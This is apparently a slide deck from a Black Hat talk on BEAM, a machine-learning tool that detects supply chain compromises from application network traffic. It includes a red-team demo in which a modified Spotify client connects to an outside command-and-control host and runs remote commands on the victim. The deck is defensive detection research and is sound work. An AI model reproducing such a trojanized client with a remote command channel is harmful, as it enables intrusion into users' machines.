



AUGUST 6-7, 2025
MANDALAY BAY / LAS VEGAS

Your Traffic Doesn't Lie: Unmasking Supply Chain Attacks via Application Behaviour

Colin Estep, Dagmawi Mulugeta
Netskope Threat Labs

Intros



LinkedIn: [colinestep](#)



LinkedIn: [dmulugeta](#)


 netskope
+
Threat Labs

SolarWinds Compromise


- First incident as a vendor
- Provided motivation for this research




What's out there today




What's out there today




What's out there today




What's out there today




What's out there today




What's out there today




What's out there today



What's out there today



What's out there today




Software Deployed



Box Client
(not browser)



Software Deployed



Finding Malicious Traffic

xqpt5z.dagmawi.io is anomalous (99%)

URL Entropy

URL Randomness

Odds: 5.47x

Application Hosts

Not a known host

Odds: 4.06x

Path Depth

Root path

Odds: 4.06x


Finding Malicious Traffic

Monitoring the **whole environment**?



Finding Malicious Traffic


Profile **applications** instead




Introducing...

Behavioral Evaluation of Application Metrics

- Analyzes network traffic
- Models applications
- Detects compromises



Native Application Models Included

 asana

Canva

 Spotify®

 box

kandji 

 todoist

 OmniFocus

 slack
from  Salesforce

The Research



What data went into BEAM?

Over **2,000** organizations

56 billion
transactions

4.2 million
different devices

7.5 million
different user agents

1.5 million
different applications

Information presented in this talk is based on anonymized usage data collected by the Netskope Security Cloud platform relating to a subset of Netskope customers with prior authorization

Overview of our approach

Attribution

Modeling


Detection

Identify applications

Build profiles

Identify anomalies

Attribution



Leveraging User Agent Strings

Sec-Ch-Ua:	"Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile:	?0
Sec-Ch-Ua-Platform:	"Windows"
Sec-Fetch-Dest:	empty
Sec-Fetch-Mode:	cors
Sec-Fetch-Site:	same-origin
User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36

User Agents → Applications

- LLM Summarization
 - Local Llama model 3.2
 - Google Gemini API
- Python user agent libraries

```
• rawUa: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36  
  (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
• string:  
• family: Chrome  
• major: 134  
• minor: 0  
• patch: 0  
• device: Other 0.0.0
```

→ Chrome 134

Modeling



Feature Selection

- *unusual DNS query patterns* (SUNBURST)
- *anomalous repository access* (3CX)
- *large outbound data transfers* (MOVEit)

What else can we add to this list?

Extracting 185 Features

Examples include:

- Time taken for requests and responses
- Time interval regularity
- Any sequences or notable patterns present
- Typical HTTP methods and status codes
- File types that are being uploaded and downloaded

Extracting 185 Features

Examples include:

- Time taken for requests and responses
- Time interval regularity
- Any sequences or notable patterns present
- Typical HTTP methods and status codes
- File types that are being uploaded and downloaded

Extracting 185 Features

Examples include:

- Time taken for requests and responses
- Time interval regularity
- Any sequences or notable patterns present
- Typical HTTP methods and status codes
- File types that are being uploaded and downloaded

Extracting 185 Features

Examples include:

- Time taken for requests and responses
- Time interval regularity
- Any sequences or notable patterns present
- Typical HTTP methods and status codes
- File types that are being uploaded and downloaded

Extracting 185 Features


Examples include:

- Time taken for requests and responses
- Time interval regularity
- Any sequences or notable patterns present
- Typical HTTP methods and status codes
- File types that are being uploaded and downloaded

Trial run with 20 applications

- 5,000 observations / application
- Malware samples
- K-fold cross validation with a single Random Forest model





Detection




Supply Chain Compromise Detection

- 56 billion transactions
- 500,000 observations / application
- XGBoost model per application



Results for Box


	Box (Predicted)	Not Box (Predicted)	Total
Box (Actual)	499,987	13	500,000
Not Box (Actual)	93	499,907	500,000



Results for other popular applications

	FPR (%)	TDR (%)	Overall accuracy (%)
Asana	0.003	99.988	99.993
Box	0.003	99.981	99.989
Canva	0.001	99.306	99.653
Kandji	0.012	99.965	99.977
OmniFocus	0.001	99.999	99.999
Slack	0.062	99.973	99.956
Spotify	0.046	99.946	99.950
Todoist	0.377	99.999	99.812

Can it detect a threat?



Supply Chain Compromise Simulation

Red Team Member:

Mohanraj

Red Team Mission:

- Compromise a common app
- Use your own C2
- Keep it secret

Blue Team Members:

Colin and Dagmawi

Blue Team Mission:


- Model common apps
- Detect malicious communications

Red Team: Attacker Setup


Compromised application:



Command and Control:



Red Team: Network Traffic




Red Team: Network Traffic

Spotify/125200442 OSX_ARM64/OS X 14.7.1 [arm 2]

Spotify®



Victim Machine



Github Codespaces C2

Red Team: Victim's Machine

Spotify client (modified)

C2 URL

```
victim >>  
victim >> ./spotify-client.exe -server="super-duper-chains  
-744g44gqjxp29rq-8443.app.github.dev"  
^C  
victim >> pwd  
/Users/[REDACTED]/Downloads/hack/simpleshell  
victim >> █
```

Red Team: Attacker's Console

Victim
Interaction

```
codespaces-c2 >> make run  
Starting the server at :8443
```

```
enter your command (Spotify/125200442 (43; 0; 2)) : whoami
```

```
enter your command (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.117 Spotify/1.2.52.442 Safari/537.36) : pwd  
/Users/[REDACTED]/Downloads/hack/simpleshell
```

```
enter your command (Spotify/125200442 OSX_ARM64/OS X 14.7.1 [arm 2]) :  
[REDACTED]
```

Blue Team: Defender's Console

Anomaly with 94% confidence

```
[!!!] Potential supply chain compromise found
```

```
i = 8
```

```
Spotify super-duper-chains-744g44gqjxp29rq-8443.app.github.dev 2024-12-11 11:00:00
```

```
Predicted class = negative_label (94.0%)
```

```
Top 3 predictions = [{'class': 'negative_label', 'probability': 94.0}, {'class': 'Spotify',
```

```
Full predictions path = /Users[REDACTED]/Desktop/Netskope/src/NAP/predictions/anomalous_domai
```

Attacker's Reaction



Mohanraj

Today at 9:19 AM



wowwwwwww.. thats right



1





How did we detect this?



Demo



How did we detect the anomaly in the demo?



Logarithmic SHAP Plot Values

Each feature affects the odds that we found an anomaly:

- Feature 1: $e^{0.05} \approx 1.05 \rightarrow 1.05x$
- Feature 2: $e^{1.7} \approx 5.47 \rightarrow 5.47x$

Finding Malicious Traffic

xqpt5z.dagmawi.io is anomalous (99%)

URL Entropy

URL Randomness

Odds: 5.47x

Application Hosts

Not a known host


Odds: 4.06x

Path Depth

Root path

Odds: 4.06x

Bespoke Models




Bespoke modeling


- Any non-browser application
- Trains on traffic captures
- Unsupervised learning



Training Components



Capturing Traffic from Notion



Bespoke Model Training

-  Processing training data: notion_06_10_2025.har
-  Step 1: Parsing network traffic data...
-  Step 2: Enriching events with application intelligence...
-  Step 3: Discovering applications in traffic...
-  Step 4: Training machine learning models...
-  Model saved: ./models/custom_models/notion_model.pkl

Bespoke Model Training

Model saved for Notion

```
📁 Processing training data: notion_06_10_2025.har  
🔍 Step 1: Parsing network traffic data...  
🔗 Step 2: Enriching events with application intelligence...  
🔍 Step 3: Discovering applications in traffic...  
🎓 Step 4: Training machine learning models...  
✅ Model saved: ./models/custom_models/notion_model.pkl
```

Bespoke Model Detection

```
=====
🔍 APPLICATION ANALYSIS SUMMARY
=====
✅ Applications analyzed with custom models (1):
  ✅ Notion: 7 domains analyzed, all normal behavior detected

📊 DETECTION SUMMARY:
  🔍 Total domains analyzed: 7
  ✅ All domains showed normal behavior: 7
  🚩 No supply chain compromises detected!

📁 Applications found but NOT analyzed (no model available) (1):
  ▶▶ Visual Studio Code

💡 To analyze these applications, train custom models using:
    python -m beam --train -i /path/to/training/data

🔍 Supply chain compromise detection completed for 1 applications.
=====
📊 Step 4: Generating security analysis report...
=====

🔒 SECURITY ANALYSIS SUMMARY
=====
✅ No critical security issues detected
```

Notion and VSCode detected

We only have a Notion Model

Bespoke Model Detection

```
=====
🔍 APPLICATION ANALYSIS SUMMARY
=====
✅ Applications analyzed with custom models (1):
  ✅ Notion: 7 domains analyzed, all normal behavior detected

📊 DETECTION SUMMARY:
  🔍 Total domains analyzed: 7
  ✅ All domains showed normal behavior: 7
  🚫 No supply chain compromises detected!

📁 Applications found but NOT analyzed (no model available) (1):
  ▶▶ Visual Studio Code

💡 To analyze these applications, train custom models using:
    python -m beam --train -i /path/to/training/data

🔍 Supply chain compromise detection completed for 1 applications.
=====
📊 Step 4: Generating security analysis report...
=====

🔒 SECURITY ANALYSIS SUMMARY
=====
✅ No critical security issues detected
```

Training data = no anomalies

Next Steps



Challenges & future improvements

1. High entropy applications



Challenges & future improvements

1. High entropy applications
2. Additional methods of attribution




Challenges & future improvements

1. High entropy applications
2. Additional methods of attribution
3. Further support for bespoke models



Behavioral Evaluation of Application Metrics

Available now:



Black Hat Sound Bytes / Takeaways

- Supply chain compromises require more than a single type of solution
- BEAM detects anomalies solely from web traffic
- BEAM can add new models for your applications' network traffic